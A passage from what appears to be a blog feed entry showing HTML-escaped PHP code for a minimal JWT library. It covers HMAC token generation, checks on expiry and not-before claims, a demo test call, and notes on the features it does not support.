&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;nbf&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;nbf&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;iat&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;iat&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;exp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;exp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;iat&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;exp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;iat&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;generateToken&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS256&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS384&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha384&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS512&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha512&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;typ&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;JWT&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;alg&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rtrim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;json_encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;iat&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;exp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rtrim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;json_encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$hmac&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$signature&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;hash_hmac&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$hmac&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$token[0]&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$token[1]&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rtrim&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$signature&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;implode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;HS256&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;secret&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// seconds
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// seconds
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sub&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;1234567890&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;John Doe&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// test that the functions are working
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;generateToken&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$token\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;getVerifiedClaims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;var_dump&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;important-notes&#34;&gt;Important notes&lt;/h3&gt;
&lt;p&gt;Note that this implementation supports &amp;ldquo;HS&amp;rdquo; (HMAC based) signature algorithm
with &amp;ldquo;iat&amp;rdquo; (issued at), &amp;ldquo;nbf&amp;rdquo; (not before) and &amp;ldquo;exp&amp;rdquo; (expires) fields. It does
NOT support the &amp;ldquo;RS&amp;rdquo; (RSA based) and &amp;ldquo;ES&amp;rdquo; (Eliptic Curve based) signature
algorithms. It also does NOT check the &amp;ldquo;iss&amp;rdquo; (issuer), &amp;ldquo;sub&amp;rdquo; (subject), &amp;ldquo;aud&amp;rdquo;
(audience), &amp;ldquo;jti&amp;rdquo; (JWT token identifier) or &amp;ldquo;kid&amp;rdquo; (key identifier) fields.
Please read the documentation on &lt;a href=&#34;http://jwt.io/&#34;&gt;JWT.io&lt;/a&gt; to find out whether or
not that matters to you.&lt;/p&gt;</description>
